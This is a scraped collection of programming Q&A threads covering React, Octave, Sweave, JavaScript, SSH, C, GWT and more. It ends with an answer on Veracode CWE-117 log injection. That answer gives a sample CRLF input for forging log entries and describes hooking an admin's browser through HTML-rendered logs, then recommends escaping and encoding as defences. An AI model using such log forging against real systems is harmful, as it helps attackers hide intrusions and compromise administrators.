I have a horizon/react app with react router and I have a simple button in my app:

```<code><Link className="dark button" to="/">Another Search</Link>
</code>```

When I click on it, I get the following exception:

```<code>Uncaught TypeError: Cannot read property 'getHostNode' of null
</code>```

The error comes from:

```<code>getHostNode: function (internalInstance) {
    return internalInstance.getHostNode();
},
</code>```

Any idea why am I getting this?

答: My solution is just deleting the cached images, files and cookies if you using the Chrome. Settings -> Privacy and security -> Clear browsing data -> Cached image and files / Cookies and other site data

Body:
I have a horizon/react app with react router and I have a simple button in my app:

<Link className="dark button" to="/">Another Search</Link>

When I click on it, I get the following exception:

Uncaught TypeError: Cannot read property 'getHostNode' of null

The error comes from:

getHostNode: function (internalInstance) {
    return internalInstance.getHostNode();
},

Any idea why am I getting this?


问:
Converting from fractional to decimal representation in Octave
I'm getting the following warning:

```<code>warning: Using rat() heuristics for double-precision input (is this what you wanted?)
</code>```

and my resultant calculation is using the rational approach when I would like the decimal form. How can I force the computation to convert the rational to a decimal representation?

Here is the code:

```<code>pkg load symbolic
syms a b c d real
C = [1, 0, 0, 0; 0, 1, 0, 0; 0, 0, 0, 1; 0, 0, 1, 0]
H = (1/sqrt(2))*[1, 1; 1, -1]
I = [1, 0; 0, 1]
X = [a, b, c, d]

s = kron(H, I)
s*C*X'
</code>```

答:
The rational representation can be converted to a float one using vpa. vpa(x,n) evaluates x to at least n significant digits. If you want to use current value of digits, you can omit n.

vpa(s*C*X.',4)
% Above line evaluates the result to at least 4 significant digits
```

<p><sup>Also note that <code>'</code> is not transpose. It is complex conjugate transpose. Use transpose (i.e. <code>.'</code>) when you are meant to take transpose. That's why I made the replacement in the above code.</sup></p>

<hr>

<p>Regarding the warning message, it can be turned off by:</p>

```warning ('off', 'OctSymPy:sym:rationalapprox');
```

You can turn it on again by replacing off with on in the above code.

Body:
I'm getting the following warning:

warning: Using rat() heuristics for double-precision input (is this what you wanted?)

and my resultant calculation is using the rational approach when I would like the decimal form. How can I force the computation to convert the rational to a decimal representation?

Here is the code:

pkg load symbolic
syms a b c d real
C = [1, 0, 0, 0; 0, 1, 0, 0; 0, 0, 0, 1; 0, 0, 1, 0]
H = (1/sqrt(2))*[1, 1; 1, -1]
I = [1, 0; 0, 1]
X = [a, b, c, d]

s = kron(H, I)
s*C*X'

Body:
The rational representation can be converted to a float one using vpa. vpa(x,n) evaluates x to at least n significant digits. If you want to use current value of digits, you can omit n.

vpa(s*C*X.',4)
% Above line evaluates the result to at least 4 significant digits

Also note that ' is not transpose. It is complex conjugate transpose. Use transpose (i.e. .') when you are meant to take transpose. That's why I made the replacement in the above code.

Regarding the warning message, it can be turned off by:

warning ('off', 'OctSymPy:sym:rationalapprox');

You can turn it on again by replacing off with on in the above code.


问:
Change the size of ggplot2 plot in Sweave without making the text/numbers disproportionately large
I found this question about changing the size of a ggplot2 plot in Sweave. I added the Sweaveopts{width=3, height=3} and it does shrink the size of the plot, but it doesn't scale down the text. So in the end, all of the numbers on the axes overlap.

Is there a way to scale the entire ggplot2 plot in Sweave so that I don't have to manually scale every component in the original ggplot2 call? It seems like something I should be able to do, but I can't find it in the ggplot2 book or on the website. Thanks!

FWIW, here's my call in Sweave:

```<code>\SweaveOpts{width=3, height=3}
\begin{figure}
\begin{center}
<<fig=TRUE>>=
print(plot.m)
@
\end{center}
\caption{stuff}
\label{fig:stuff}
\end{figure}
</code>```

And the call that generates the ggplot2 plot:

```<code>plot.m <- ggplot(temp, aes(date, spread)) + geom_bar(stat="identity") + scale_x_date(major="years", minor="months")
</code>```

答:
It's basically a Sweave FAQ. Google and you will find a gazillion hits.

One approach is to just write the file to pdf (no scaling) and to then scale on the \includegraphics command.  I just looked at a vignette I finished a couple of days ago where I wanted something approximately as wide as the page and I did:

```<code>\begin{figure}[t!]
  \centering
<<someLabel,fig=TRUE,width=8>>=
## some R code omitted
print(dotplot(foo ~ bar | someFactor, group=someThing,
              data=someDF, layout=c(1,3),
              xlab="some X label", ylab="",
              key=simpleKey(text=c("A","B"), space="top")))
@
  \caption{Some caption.}
  \label{fig:someLabel}
\end{figure}
</code>```

some basically just one width dimension at the Sweave options level.  I found that small values do not work well -- so try something bigger as eg 6 or 7 inches.

Body:
I found this question about changing the size of a ggplot2 plot in Sweave. I added the Sweaveopts{width=3, height=3} and it does shrink the size of the plot, but it doesn't scale down the text. So in the end, all of the numbers on the axes overlap.

Is there a way to scale the entire ggplot2 plot in Sweave so that I don't have to manually scale every component in the original ggplot2 call? It seems like something I should be able to do, but I can't find it in the ggplot2 book or on the website. Thanks!

FWIW, here's my call in Sweave:

\SweaveOpts{width=3, height=3}
\begin{figure}
\begin{center}
<<fig=TRUE>>=
print(plot.m)
@
\end{center}
\caption{stuff}
\label{fig:stuff}
\end{figure}

And the call that generates the ggplot2 plot:

plot.m <- ggplot(temp, aes(date, spread)) + geom_bar(stat="identity") + scale_x_date(major="years", minor="months")

Body:
It's basically a Sweave FAQ. Google and you will find a gazillion hits.

One approach is to just write the file to pdf (no scaling) and to then scale on the \includegraphics command.  I just looked at a vignette I finished a couple of days ago where I wanted something approximately as wide as the page and I did:

\begin{figure}[t!]
  \centering
<<someLabel,fig=TRUE,width=8>>=
## some R code omitted
print(dotplot(foo ~ bar | someFactor, group=someThing,
              data=someDF, layout=c(1,3),
              xlab="some X label", ylab="",
              key=simpleKey(text=c("A","B"), space="top")))
@
  \caption{Some caption.}
  \label{fig:someLabel}
\end{figure}

some basically just one width dimension at the Sweave options level.  I found that small values do not work well -- so try something bigger as eg 6 or 7 inches.


问:
Axios Vue.js throwing Cors error on Heroku Laravel application
I've got a Laravel app that's hosted on Heroku, currently in  staging environment that's password protected. It's accessible via https:// but axios is making requests to http:// and causing a cors error... I've tried adding allow origin headers as middleware on the routes but that doesn't fix the error.

Is there a way to force axios to use https by default? I don't want to pass the full URL to the axios.get()

This doesn't happen on local so could it be something caused by Heroku?

答: There is a Pull Request on the way that will try to access http/s if the other protocol fails. So it's a matter of time now.</p>


问:
How do I filter the dates of the current week from a general date list in Javascript or Typescript?
I have an array that contains multiple Dates and, from this array, I want to return an array that contains only the Dates that belong to the current week. How can I do this?</p>

答:
I would recommend using a library like momentjs.

You could easily filter the array by doing

```<code>var currentDate = moment();
var allDates = [...];
var filtered = allDates.filter(date => moment(date).isSame(currentDate, 'week');
</code>```

Body:
I would recommend using a library like momentjs.

You could easily filter the array by doing

var currentDate = moment();
var allDates = [...];
var filtered = allDates.filter(date => moment(date).isSame(currentDate, 'week');


问:
adding div and input box
I would like to be able to do a quick calculation where I add the contents of a div and input. I can do this with 2 inputs but can't figure out how to do it this way. My attempts at coding have got me here:

var one = document.getElementById('one'),
  two = document.getElementById('calculate'),
  total = document.getElementById('total');
document.getElementById('calculate').onchange = function() {
  total.innerHTML = parseInt(one.innerHTML) + parseInt(two.innerHMTL);
};```
<pre class="snippet-code-html lang-html prettyprint-override"><code><div id="one">11</div>

<input type=number value=2 id="calculate">

<div id="total">0</div></code>```

I tried changing "parseInt(two.innerHTML)" to "parseInt(two)" but it was unsuccessful. I get the NotANumber/NaN error. Any help would be greatly appreciated.

答:
since two in you case is an input tag it doesn't have the innerHTML. Use value attribute instead. so it'll look like this:

```<code>document.getElementById('calculate').onchange = function() {
    total.innerHTML = parseInt(one.innerHTML) + parseInt(two.value);
};
</code>```

Title: adding div and input box

Body:
I would like to be able to do a quick calculation where I add the contents of a div and input. I can do this with 2 inputs but can't figure out how to do it this way. My attempts at coding have got me here:

var one = document.getElementById('one'),
  two = document.getElementById('calculate'),
  total = document.getElementById('total');
document.getElementById('calculate').onchange = function() {
  total.innerHTML = parseInt(one.innerHTML) + parseInt(two.innerHMTL);
};

11

<input type=number value=2 id="calculate">

0

I tried changing "parseInt(two.innerHTML)" to "parseInt(two)" but it was unsuccessful. I get the NotANumber/NaN error. Any help would be greatly appreciated.

Body:
since two in you case is an input tag it doesn't have the innerHTML. Use value attribute instead. so it'll look like this:

document.getElementById('calculate').onchange = function() {
    total.innerHTML = parseInt(one.innerHTML) + parseInt(two.value);
};


问:
Cant ssh to a cygwin server
Its getting stuck as you can see.
Below is what verbose connection shows.

```<code>[ftpuser@eu9sacovn48 ~]$ ssh -v gmrsops@uscasaciccx82
OpenSSH_4.3p2, OpenSSL 0.9.8e-fips-rhel5 01 Jul 2008
debug1: Reading configuration data /etc/ssh/ssh_config
debug1: Applying options for *
debug1: Connecting to uscasaciccx82 [113.130.154.54] port 22.
debug1: Connection established.
debug1: identity file /cpmapps/ftpuser/.ssh/identity type -1
debug1: identity file /cpmapps/ftpuser/.ssh/id_rsa type 1
debug1: identity file /cpmapps/ftpuser/.ssh/id_dsa type -1
debug1: loaded 3 keys
debug1: Remote protocol version 2.0, remote software version OpenSSH_6.6.1
debug1: match: OpenSSH_6.6.1 pat OpenSSH*
debug1: Enabling compatibility mode for protocol 2.0
debug1: Local version string SSH-2.0-OpenSSH_4.3
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug1: kex: server->client aes128-ctr hmac-md5 none
debug1: kex: client->server aes128-ctr hmac-md5 none
debug1: SSH2_MSG_KEX_DH_GEX_REQUEST(1024<1024<8192) sent
debug1: expecting SSH2_MSG_KEX_DH_GEX_GROUP
debug1: SSH2_MSG_KEX_DH_GEX_INIT sent
debug1: expecting SSH2_MSG_KEX_DH_GEX_REPLY
debug1: Host 'uscasaciccx82' is known and matches the RSA host key.
debug1: Found key in /cpmapps/ftpuser/.ssh/known_hosts:7
debug1: ssh_rsa_verify: signature correct
debug1: SSH2_MSG_NEWKEYS sent
debug1: expecting SSH2_MSG_NEWKEYS
debug1: SSH2_MSG_NEWKEYS received
debug1: SSH2_MSG_SERVICE_REQUEST sent
debug1: SSH2_MSG_SERVICE_ACCEPT received
debug1: Authentications that can continue: publickey,password,keyboard-interactive
debug1: Next authentication method: publickey
debug1: Trying private key: /cpmapps/ftpuser/.ssh/identity
debug1: Offering public key: /cpmapps/ftpuser/.ssh/id_rsa
debug1: Server accepts key: pkalg ssh-rsa blen 277
debug1: read PEM private key done: type RSA
debug1: Authentication succeeded (publickey).
debug1: channel 0: new [client-session]
debug1: Entering interactive session.
debug1: Sending environment.
debug1: Sending env LANG = en_US.UTF-8
</code>```

I tried connecting to the server without a key but its still not working.

[ftpuser@eu9sacovn48 ~]$ ssh -o PreferredAuthentications=keyboard-interactive,password -o PubkeyAuthentication=no gmrsops@USCASACICCX82
gmrsops@uscasaciccx82's password:

I can login to cygwin just fine while on local server.

答:
Since you're trying to connect to a Windows machine, you may not have an SSH server installed/enabled. Check to make sure SSH is installed and properly configured in your cygwin environment. It is part of the OpenSSH package. More info here.

Edit: See this post where someone had the exact same error.

Title: Cant ssh to a cygwin server

Body:
Its getting stuck as you can see.
Below is what verbose connection shows.

[ftpuser@eu9sacovn48 ~]$ ssh -v gmrsops@uscasaciccx82
OpenSSH_4.3p2, OpenSSL 0.9.8e-fips-rhel5 01 Jul 2008
debug1: Reading configuration data /etc/ssh/ssh_config
debug1: Applying options for *
debug1: Connecting to uscasaciccx82 [113.130.154.54] port 22.
debug1: Connection established.
debug1: identity file /cpmapps/ftpuser/.ssh/identity type -1
debug1: identity file /cpmapps/ftpuser/.ssh/id_rsa type 1
debug1: identity file /cpmapps/ftpuser/.ssh/id_dsa type -1
debug1: loaded 3 keys
debug1: Remote protocol version 2.0, remote software version OpenSSH_6.6.1
debug1: match: OpenSSH_6.6.1 pat OpenSSH*
debug1: Enabling compatibility mode for protocol 2.0
debug1: Local version string SSH-2.0-OpenSSH_4.3
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug1: kex: server->client aes128-ctr hmac-md5 none
debug1: kex: client->server aes128-ctr hmac-md5 none
debug1: SSH2_MSG_KEX_DH_GEX_REQUEST(1024<1024<8192) sent
debug1: expecting SSH2_MSG_KEX_DH_GEX_GROUP
debug1: SSH2_MSG_KEX_DH_GEX_INIT sent
debug1: expecting SSH2_MSG_KEX_DH_GEX_REPLY
debug1: Host 'uscasaciccx82' is known and matches the RSA host key.
debug1: Found key in /cpmapps/ftpuser/.ssh/known_hosts:7
debug1: ssh_rsa_verify: signature correct
debug1: SSH2_MSG_NEWKEYS sent
debug1: expecting SSH2_MSG_NEWKEYS
debug1: SSH2_MSG_NEWKEYS received
debug1: SSH2_MSG_SERVICE_REQUEST sent
debug1: SSH2_MSG_SERVICE_ACCEPT received
debug1: Authentications that can continue: publickey,password,keyboard-interactive
debug1: Next authentication method: publickey
debug1: Trying private key: /cpmapps/ftpuser/.ssh/identity
debug1: Offering public key: /cpmapps/ftpuser/.ssh/id_rsa
debug1: Server accepts key: pkalg ssh-rsa blen 277
debug1: read PEM private key done: type RSA
debug1: Authentication succeeded (publickey).
debug1: channel 0: new [client-session]
debug1: Entering interactive session.
debug1: Sending environment.
debug1: Sending env LANG = en_US.UTF-8

I tried connecting to the server without a key but its still not working.

[ftpuser@eu9sacovn48 ~]$ ssh -o PreferredAuthentications=keyboard-interactive,password -o PubkeyAuthentication=no gmrsops@USCASACICCX82
gmrsops@uscasaciccx82's password:

I can login to cygwin just fine while on local server.


问:
Eliminating IF statement from this code
I have this C function which basically takes the input from the user and saves it in a static char[]. Then it checks whether it is empty. If it is empty then it prints an error, else appends a file extension to it. Here's the piece of code I'm concerned about:

const char* text_entry(){
    char c;
    while((c=getchar())!='\n' && c!=EOF);
    static char input[20];
    fgets(input, sizeof(input),stdin);
    input[strcspn(input,"\n")]=0;
    if(strlen(input)>0){
        strncat(input, ".txt",4);
        return input;
    }
    printf("Error! no text entered!");
    return NULL;
}
```

My concern is that I want to remove the IF statement from it, making it more DRY. How can I do that?

答:
This is a minimal loop version. It doescheck* if the result fits into the  input buffer.

Note:I'm not saying this is the best way todo it. But it avoids multiple scans over the input. (the gain in performance is mostly futile...)

```<code>#include <stdio.h>
#include <string.h>

char* text_entry(){
    int ch;
    size_t pos;
    static char input[20];

        //this is dubious: it consumes characters upto and including the first '\n'
    while((ch=getchar())!='\n' && ch!=EOF) {;}

    for (pos=0; pos < sizeof input; pos++) {
        ch=getchar();
        if (ch =='\n' || ch==EOF) break;
        input[pos] = ch;
        }
        // noinput
    if(!pos) return NULL;

        // input too large: cannot append suffix
    if(pos + sizeof ".txt" > sizeof input) return NULL;
    memcpy(input+pos, ".txt", sizeof ".txt" );
    // fprintf(stderr, "[%zu]\n",strlen(input));
    return input;
}

int main(void)
{
char *result;

while(1) {
        result = text_entry();
        if (!result) continue;
        printf("%s\n", result);
        }

return 0;
}
</code>```

Title: Eliminating IF statement from this code

Body:
I have this C function which basically takes the input from the user and saves it in a static char[]. Then it checks whether it is empty. If it is empty then it prints an error, else appends a file extension to it. Here's the piece of code I'm concerned about:

const char* text_entry(){
    char c;
    while((c=getchar())!='\n' && c!=EOF);
    static char input[20];
    fgets(input, sizeof(input),stdin);
    input[strcspn(input,"\n")]=0;
    if(strlen(input)>0){
        strncat(input, ".txt",4);
        return input;
    }
    printf("Error! no text entered!");
    return NULL;
}

My concern is that I want to remove the IF statement from it, making it more DRY. How can I do that?

Body:
This is a minimal loop version. It doescheck* if the result fits into the  input buffer.

Note:I'm not saying this is the best way todo it. But it avoids multiple scans over the input. (the gain in performance is mostly futile...)

#include <stdio.h>
#include <string.h>

char* text_entry(){
    int ch;
    size_t pos;
    static char input[20];

        //this is dubious: it consumes characters upto and including the first '\n'
    while((ch=getchar())!='\n' && ch!=EOF) {;}

    for (pos=0; pos < sizeof input; pos++) {
        ch=getchar();
        if (ch =='\n' || ch==EOF) break;
        input[pos] = ch;
        }
        // noinput
    if(!pos) return NULL;

        // input too large: cannot append suffix
    if(pos + sizeof ".txt" > sizeof input) return NULL;
    memcpy(input+pos, ".txt", sizeof ".txt" );
    // fprintf(stderr, "[%zu]\n",strlen(input));
    return input;
}

int main(void)
{
char *result;

while(1) {
        result = text_entry();
        if (!result) continue;
        printf("%s\n", result);
        }

return 0;
}


问:
Handlebars 4.0.5: "Unknown template object: object" when running from Browser Console
I am trying to do some Handlebars templating.
To get started, I followed the first example on the Handlebars main page (http://handlebarsjs.com/):

Template:

```<code><script id="entry-template" type="text/x-handlebars-template">
  <div class="entry">
    <h1>{{title}}</h1>
    <div class="body">
      {{body}}
    </div>
  </div>
</script>
</code>```

Compiling:

```<code>var source   = $("#entry-template").html();
var template = Handlebars.compile(source);
</code>```

Executing:

```<code>var context = {title: "My New Post", body: "This is my first post!"};
var html    = template(context);
</code>```

I always get the following error:

"Unknown template object: object"

I downloaded Handlebars 4.0.5 directly from the server (http://handlebarsjs.com/installation.html) and I tried with both jQuery 3.1.1 and 2.2.4 as well.

If I try to google that issue, I only get references to older Handlebars version.

Can someone please help me?

EDIT:
In fact the issue seems to occur only when running the template from the (chrome) browser console.
Is there any solution for this?

Since for productive use, I have a rather complex JSON-structure, I'd like to use the template with, using the template from browser console for debugging and testing purposes would be quite helpful...

答: The issue occurs in the console and Chrome is currently stopped at a breakpoint. Console commands can be executed even when the code is not stopped. Try running your code from the console when a breakpoint is not active.

Body:
I am trying to do some Handlebars templating.
To get started, I followed the first example on the Handlebars main page (http://handlebarsjs.com/):

Template:

Compiling:

var source   = $("#entry-template").html();
var template = Handlebars.compile(source);

Executing:

var context = {title: "My New Post", body: "This is my first post!"};
var html    = template(context);

I always get the following error:

"Unknown template object: object"

I downloaded Handlebars 4.0.5 directly from the server (http://handlebarsjs.com/installation.html) and I tried with both jQuery 3.1.1 and 2.2.4 as well.

If I try to google that issue, I only get references to older Handlebars version.

Can someone please help me?

EDIT:
In fact the issue seems to occur only when running the template from the (chrome) browser console.
Is there any solution for this?

Since for productive use, I have a rather complex JSON-structure, I'd like to use the template with, using the template from browser console for debugging and testing purposes would be quite helpful...


答:
To get value from a input tag use .value document.getElementById('input').value

So in your case try  parseInt(two.value)

Title: adding div and input box


问:
AngularJS -directive to self remove/insert
I'm trying to create a directive to control some elements in the DOM, according to the user's permissions. Seeking in the internet, I found the .remove() function for the element. It is working nice.

But, if the permissions change, I need to show the DOM element again. How can I do it after calling .remove() ?

here is my code:

```<code>ddo.link = function(scope, el, attrs){

// Validate the permission
if( currentUserService.isAllowed(scope.validatePermission) !== true) {
    el.remove();
}

// Listener for changes
$rootScope.$on("eventName", function(event, param){

    // Validate the permission
    if( currentUserService.isAllowed(scope.validatePermission) !== true) {
        el.remove();
    } else {
        // SHOW THE ELEMENT AGAIN!
    }

});

};
</code>```

Or, is there another way to remove de HTML and insert again? Because with CSS the user can disable through the Developer console...

Thanks in advance!

答:
Instead use .remove() try using .addClass() and .removeClass() for add a class with display:none and remove this when necessary.
The method .remove() delete the display element, so you can not show this again.

Another alternative is using .css() but your processing is slower compared to others

Body:
I'm trying to create a directive to control some elements in the DOM, according to the user's permissions. Seeking in the internet, I found the .remove() function for the element. It is working nice.

But, if the permissions change, I need to show the DOM element again. How can I do it after calling .remove() ?

here is my code:

ddo.link = function(scope, el, attrs){

// Validate the permission
if( currentUserService.isAllowed(scope.validatePermission) !== true) {
    el.remove();
}

// Listener for changes
$rootScope.$on("eventName", function(event, param){

    // Validate the permission
    if( currentUserService.isAllowed(scope.validatePermission) !== true) {
        el.remove();
    } else {
        // SHOW THE ELEMENT AGAIN!
    }

});

};

Or, is there another way to remove de HTML and insert again? Because with CSS the user can disable through the Developer console...

Thanks in advance!


问:
if body has class Fade in mp3 sound else fade out
I am trying to fade the volume of an mp3 in to 1 if the body has the class fp-viewing-0
How ever this isn't working and the volume doesn't change how can I fix this?

Code:

```<code>var audio0 = document.getElementById('audio-0');
audio0.volume = 0;

setInterval( function(){
          if ($("body").hasClass("fp-viewing-0")) {
             audio0.animate({volume: 1}, 1000);
            }

else {
   audio0.animate({volume: 0}, 1000);
            }

 }, 100);
</code>```

HTML

```<code><audio id="audio-0"  src="1.mp3" autoplay="autoplay"></audio>
</code>```

I've also tried:

```<code>$("#audio-0").prop("volume", 0);

setInterval( function(){
          if ($("body").hasClass("fp-viewing-0")) {
            $("#audio-0").animate({volume: 1}, 3000);
            }

else {
   $("#audio-0").animate({volume: 0}, 3000);
            }

 }, 100);
</code>```

Kind Regards!

答:
I have changed the jquery animate part to a fade made by hand. For that i created a fade time and steps count to manipulate the fade effect.

```<code>var audio0 = document.getElementById('audio-0');
audio0.volume = 0;

if ($("body").hasClass("fp-viewing-0")) {
     audio0.volume = 1; //max volume
     var fadeTime = 1500; //in milliseconds
     var steps = 150; //increasing makes the fade smoother
     var stepTime = fadeTime/steps;
     var audioDecrement = audio0.volume/steps;

     var timer = setInterval(function(){
         audio0.volume -= audioDecrement; //fading out

         if (audio0.volume <= 0.03){ //if its already inaudible stop it
              audio0.volume = 0;
              clearInterval(timer); //clearing the timer so that it doesn't keep getting called
         }
     }, stepTime);
}
</code>```

Better would be to place all of this in a function that receives these values a fades accordingly so that it gets organized:

```<code>function fadeAudio(audio, fadeTime, steps){
    audio.volume = 1; //max
    steps = steps || 150; //turning steps into an optional parameter that defaults to 150
    var stepTime = fadeTime/steps;
    var audioDecrement = audio.volume/steps;

    var timer = setInterval(function(){
        audio.volume -= audioDecrement;

        if (audio.volume <= 0.03){ //if its already inaudible stop it
             audio.volume = 0;
             clearInterval(timer);
        }
    }, stepTime);
}
</code>```

Which would make your code a lot more compact and readable:

```<code>var audio0 = document.getElementById('audio-0');
audio0.volume = 0;
if ($("body").hasClass("fp-viewing-0")) {
    fadeAudio(audio0, 1500);
}
</code>```

Body:
I am trying to fade the volume of an mp3 in to 1 if the body has the class fp-viewing-0
How ever this isn't working and the volume doesn't change how can I fix this?

Code:

var audio0 = document.getElementById('audio-0');
audio0.volume = 0;

setInterval( function(){
          if ($("body").hasClass("fp-viewing-0")) {
             audio0.animate({volume: 1}, 1000);
            }

else {
   audio0.animate({volume: 0}, 1000);
            }

 }, 100);

HTML

<audio id="audio-0"  src="1.mp3" autoplay="autoplay"></audio>

I've also tried:

$("#audio-0").prop("volume", 0);

setInterval( function(){
          if ($("body").hasClass("fp-viewing-0")) {
            $("#audio-0").animate({volume: 1}, 3000);
            }

else {
   $("#audio-0").animate({volume: 0}, 3000);
            }

 }, 100);

Kind Regards!

Body:
I have changed the jquery animate part to a fade made by hand. For that i created a fade time and steps count to manipulate the fade effect.

var audio0 = document.getElementById('audio-0');
audio0.volume = 0;

if ($("body").hasClass("fp-viewing-0")) {
     audio0.volume = 1; //max volume
     var fadeTime = 1500; //in milliseconds
     var steps = 150; //increasing makes the fade smoother
     var stepTime = fadeTime/steps;
     var audioDecrement = audio0.volume/steps;

     var timer = setInterval(function(){
         audio0.volume -= audioDecrement; //fading out

         if (audio0.volume <= 0.03){ //if its already inaudible stop it
              audio0.volume = 0;
              clearInterval(timer); //clearing the timer so that it doesn't keep getting called
         }
     }, stepTime);
}

Better would be to place all of this in a function that receives these values a fades accordingly so that it gets organized:

function fadeAudio(audio, fadeTime, steps){
    audio.volume = 1; //max
    steps = steps || 150; //turning steps into an optional parameter that defaults to 150
    var stepTime = fadeTime/steps;
    var audioDecrement = audio.volume/steps;

    var timer = setInterval(function(){
        audio.volume -= audioDecrement;

        if (audio.volume <= 0.03){ //if its already inaudible stop it
             audio.volume = 0;
             clearInterval(timer);
        }
    }, stepTime);
}

Which would make your code a lot more compact and readable:

var audio0 = document.getElementById('audio-0');
audio0.volume = 0;
if ($("body").hasClass("fp-viewing-0")) {
    fadeAudio(audio0, 1500);
}


问:
GWT composite dynamic height resize
I Have a GWT Composite to which some other Composites are added dynamically.
I want to make may Parent composite Resize to fit the height of all its child widgets automatically.
i tried setting setHeight("100%") for Composite but this doesn’t work.
any Idea how to accomplish this functionality?

thanks.
EDIT:

```<code>final DockLayoutPanel dockLayoutPanel = new DockLayoutPanel(Unit.EM);
    dockLayoutPanel.setStyleName("EntryPanel");
    dockLayoutPanel.setSize("142px", "72px");
    initWidget(dockLayoutPanel);

    final VerticalPanel panel = new VerticalPanel();
    panel.setSize("140px", "72px");

    chckbxExport = new CheckBox("Export");
    putField(CommonPresenter.CONSTANTS.EXPORT, chckbxExport);

    dateBox = new DateBox();

    dateBox.addValueChangeHandler(new ValueChangeHandler<Date>() {
        @Override
        public void onValueChange(final ValueChangeEvent<Date> event) {
            dateChanged = true;
        }
    });

    panel.add(dateBox);

    final ListBox visibility = new ListBox();

    final Label lblVisibility = new Label("Visibility:");
    LabeledWidget vis = new LabeledWidget(lblVisibility, visibility);

    for (int i = 0; i < CommonPresenter.CONSTANTS.VISIBILITIES.length; i++) {
        visibility.addItem(CommonPresenter.CONSTANTS.VISIBILITIES[i]);
    }

    putField(CommonPresenter.CONSTANTS.VISIBILITY, visibility);

    panel.add(vis);
    panel.add(chckbxExport);

    dockLayoutPanel.add(panel);
</code>```

UPDATE:
Setting Composite width to fill all available Window horizontal space:

```<code> final int scrollBarWidth = 25;
// editPanel.setHeight("180px");
setWidth(Window.getClientWidth() - scrollBarWidth + "px");
// editPanel.setStyleName("EditorPanel");

Window.addResizeHandler(new ResizeHandler()
{
  public void onResize(ResizeEvent event)
  {
    int width = event.getWidth();
    setWidth(width - scrollBarWidth + "px");
  }
});
</code>```

答: Instead of using "100%" you can get the actual height by Window#getClientHeight(). To handle scenarios where the user resizes the browser, you can use a ResizeHandler.</p>

Title: GWT composite dynamic height resize

Body:
I Have a GWT Composite to which some other Composites are added dynamically.
I want to make may Parent composite Resize to fit the height of all its child widgets automatically.
i tried setting setHeight("100%") for Composite but this doesn’t work.
any Idea how to accomplish this functionality?

thanks.
EDIT:

final DockLayoutPanel dockLayoutPanel = new DockLayoutPanel(Unit.EM);
    dockLayoutPanel.setStyleName("EntryPanel");
    dockLayoutPanel.setSize("142px", "72px");
    initWidget(dockLayoutPanel);

    final VerticalPanel panel = new VerticalPanel();
    panel.setSize("140px", "72px");

    chckbxExport = new CheckBox("Export");
    putField(CommonPresenter.CONSTANTS.EXPORT, chckbxExport);

    dateBox = new DateBox();

    dateBox.addValueChangeHandler(new ValueChangeHandler<Date>() {
        @Override
        public void onValueChange(final ValueChangeEvent<Date> event) {
            dateChanged = true;
        }
    });

    panel.add(dateBox);

    final ListBox visibility = new ListBox();

    final Label lblVisibility = new Label("Visibility:");
    LabeledWidget vis = new LabeledWidget(lblVisibility, visibility);

    for (int i = 0; i < CommonPresenter.CONSTANTS.VISIBILITIES.length; i++) {
        visibility.addItem(CommonPresenter.CONSTANTS.VISIBILITIES[i]);
    }

    putField(CommonPresenter.CONSTANTS.VISIBILITY, visibility);

    panel.add(vis);
    panel.add(chckbxExport);

    dockLayoutPanel.add(panel);

UPDATE:
Setting Composite width to fill all available Window horizontal space:

 final int scrollBarWidth = 25;
// editPanel.setHeight("180px");
setWidth(Window.getClientWidth() - scrollBarWidth + "px");
// editPanel.setStyleName("EditorPanel");

Window.addResizeHandler(new ResizeHandler()
{
  public void onResize(ResizeEvent event)
  {
    int width = event.getWidth();
    setWidth(width - scrollBarWidth + "px");
  }
});


问:
How to fix Veracode CWE 117 (Improper Output Neutralization for Logs)
There is an Spring global @ExceptionHandler(Exception.class) method which logs exception like that:

```<code>@ExceptionHandler(Exception.class)
void handleException(Exception ex) {
    logger.error("Simple error message", ex);
...
</code>```

Veracode scan says that this logging has Improper Output Neutralization for Logs and suggest to use ESAPI logger. Is there any way how to fix this vulnerability without changing logger to ESAPI? This is the only place in code where I faced this issue and I try to figure out how to fix it with minimum changes. Maybe ESAPI has some methods I haven't noticed?

P.S. Current logger is Log4j over slf4j

UPD:
In the end I used ESAPI logger. I thought it wouldn't use my default logging service, but I was wrong and it simply used my slf4j logger interface with appropriate configuration.

```<code>private static final Logger logger = ESAPI.getLogger(MyClass.class);
...
logger.error(null, "Simple error message", ex);
</code>```

ESAPI has extension of log4j logger and logger factory. It can be configured what to use in ESAPI.properties. For example:

```<code>ESAPI.Logger=org.owasp.esapi.reference.Log4JLogFactory
</code>```

答:
Is there any way how to fix this vulnerability without changing
  logger to ESAPI?

In short, yes.

TLDR:

First understand the gravity of the error. The main concern is in falsifying the log statments.  Say you had code like this:

```<code>log.error( transactionId + " for user " + username + " was unsuccessful."
</code>```

If either variable is under user control they can inject false logging statements by using inputs like \r\n for user foobar was successful\rn thus allowing them to falsify the log and cover their tracks.  (Well, in this contrived case, just make it a little harder to see what happened.)

The second method of attack is more of a chess move.  Many logs are HTML formatted to be viewed in another program, for this example, we'll pretend the logs are meant to be HTML files to be viewed in a browser.  Now we inject  and you will have hooked a browser with an exploitation framework that's most likely executing as a server admin... because its doubtful that the CEO is going to be reading the log.  Now the real hack can begin.

Defenses:

A simple defense is to make sure that all log statements with userinput escape the characters '\n' and '\r' with something obvious, like '֎' or you can do what ESAPI does and escape with the underscore.  It really doesn't matter as long as its consistent, just keep in mind not to use character sets that would confuse you in the log.  Something like userInput.replaceAll("\r", "֎").replaceAll("\n", "֎");

I also find it useful to make sure that log formats are exquisitely specified... meaning that you make sure you have a strict standard for what log statements need to look like and construct your formatting so that catching a malicious user is easier.  All programmers must submit to the party and follow the format!

To defend against the HTML scenario, I would use the [OWASP encoder project][1]

As to why ESAPI's implementation is suggested, it is a very battle-tested library, but in a nutshell, this is essentially what we do.  See the code:

```<code>/**
 * Log the message after optionally encoding any special characters that might be dangerous when viewed
 * by an HTML based log viewer. Also encode any carriage returns and line feeds to prevent log
 * injection attacks. This logs all the supplied parameters plus the user ID, user's source IP, a logging
 * specific session ID, and the current date/time.
 *
 * It will only log the message if the current logging level is enabled, otherwise it will
 * discard the message.
 *
 * @param level defines the set of recognized logging levels (TRACE, INFO, DEBUG, WARNING, ERROR, FATAL)
 * @param type the type of the event (SECURITY SUCCESS, SECURITY FAILURE, EVENT SUCCESS, EVENT FAILURE)
 * @param message the message to be logged
 * @param throwable the {@code Throwable} from which to generate an exception stack trace.
 */
